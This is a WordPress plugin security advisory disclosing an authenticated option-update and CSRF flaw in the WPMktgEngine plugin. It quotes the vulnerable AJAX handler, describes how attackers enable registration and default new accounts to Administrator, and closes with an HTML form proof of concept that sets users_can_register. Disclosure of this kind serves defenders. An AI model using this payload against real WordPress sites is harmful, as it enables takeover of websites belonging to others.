04 Jun

Our Proactive Monitoring Caught an Authenticated Option Update Vulnerability in WPMktgEngine

One of the ways we help to improve the security of WordPress plugins, not just for our customers, but for everyone using them, is our proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities. Through that we caught just such a vulnerability, an authenticated option update vulnerability, in the plugin WPMktgEngine. This vulnerability likely would have been widely exploited by now if the plugin was more popular, considering how easy it would be to detect it.

The possibility of this vulnerability is also flagged by our Plugin Security Checker, so you can check plugins you use to see if they might have similar issues with that tool.

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:


In the file /libs/WPMKTENGINE/Admin.php a function is registered to be accessible to anyone logged in to WordPress through its AJAX functionality and that function will update an arbitrary WordPress option (setting) to arbitrary value, both specified by user input:

Action::add('wp_ajax_update_option', function(){
	if((isset($_POST['option']) && !empty($_POST['option'])) && (isset($_POST['value']) && !empty($_POST['value']))){
		update_option($_POST['option'], $_POST['value']);
		echo json_encode(array(
			'status' => 'ok',
	echo json_encode(array(
		'status' => 'fail',

What hackers have done with this type of vulnerability going back at least a couple of years is to change the WordPress options (settings) to allow user registration (though with an authenticated variant usually that would already be enabled if it is being exploited) and set it so new accounts are set to have the Administrator role, which gives new accounts control of the website.

Since there is no check for a valid nonce, this could also be exploited through cross-site request forgery (CSRF).

Is It Fixed?

If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information, can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.

Proof of Concept

The following proof of concept will turn on user registration, when logged in to WordPress.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=update_option" method="POST">
<input type="hidden" name="option" value="users_can_register" />
<input type="hidden" name="value" value="1" />
<input type="submit" value="Submit" />

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